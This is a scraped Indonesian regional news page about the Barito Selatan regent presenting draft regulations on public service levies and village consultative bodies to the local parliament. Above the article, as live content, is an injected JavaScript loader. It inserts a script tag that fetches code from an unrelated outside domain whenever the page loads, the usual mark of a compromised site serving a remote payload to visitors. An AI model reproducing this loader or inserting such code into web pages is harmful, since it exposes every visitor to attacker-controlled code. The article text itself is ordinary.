(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Dua Raperda Barsel Disampaikan Pada Paripurna DPRD


BUNTOK, Bupati Barito Selatan (Barsel) Eddy Raya Samsuri menyampaikan dua Rancangan Peraturan Daerah (Raperda) tentang Retribusi dan Jasa Umum dan tentang Badan Permusyawaratan Desa (BPD).

Dua Raperda tersebut disampaikannya lewat sambutannya pada sidang pengantar Paripurna II masa Sidang II DPRD Barsel, di Aula DPRD setempat, Senin (27/5). Bupati mengatakan, Raperda Retribusi Jasa Umum merupakan pungutan daerah sebagai pembayaran atau pemberian izin tertentu yang disediakan atau diberi oleh Pemkab untuk kepentingan orang pribadi dan Badan.

Lebih lanjut oleh orang nomor satu di Pemkab Barsel itu, bahwa Pemkab telah membentuk Perda Nomor 4/2011 tentang retribusi jasa umum. Namun perda tersebut belum meningkatkan pendapatan daerah dari sektor retribusi. “Oleh karena itu kita melakukan perluasan jenis retribusi daerah dan penyesuaian tarif untuk meningkatkan PAD dari sektor retribusi jasa umum,” kata Eddy Raya.

Sedangkan raperda tentang BPD yang merupakan lembaga melaksanakan fungsi pemerintahan yang anggotanya merupakan wakil penduduk desa berdasarkan keterwakilan wilayah dan keterwakilan perempuan. “Karena BPD mempunyai tugas dan fungsi sangat penting dalam penyelenggaraan peemerintahan desa yakni membahas dan menyepakati rancangan peraturan desa bersama Kades,” ucap Eddy Raya.

Selain itu BPD juga tempat menampung dan menyalurkan aspirasi masyarakat desa  dan melakukan pengawasan kinerja kepala Desa. “Kiranya lewat materi yang disampaikan pada rapat paripurna II masa sidang II ini dapat dikaji, dan pada gilirannya mendapat persetujuan bersama antara Pemerintah Kabupaten Barsel dengan DPRD setempat,” harap Eddy Raya.

Ditempat yang sama Wakil ketua II DPRD Barsel, Rayuhani menyampaikan, pihaknya akan memperlajari raperda yang disampaikan tersebut dan akan membahas bersama dengan pemkab Barsel.“Kita akan mempelajari dulu raperda yang ada dan akan segera membahas kembali bersama dengan Pemkab Barsel,” ucapnya singkat.(digdo)

Reporter:Digdo
Editor:Cell

Desy Arfianty

Recent Posts

Wali Kota Aditya Pilih Pertahankan Tugu Adipura, ATCS Jadi Mubazir?

KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More

2 jam ago

BRImo FSTVL 2024: Ratusan Ribu Hadiah Menanti Nasabah BRI! Nabung Lebih Banyak, Untung Lebih Besar!

KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More

4 jam ago

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

5 jam ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

5 jam ago

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

7 jam ago

Kota Banjarbaru Terima Dump Truck Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

7 jam ago

This website uses cookies.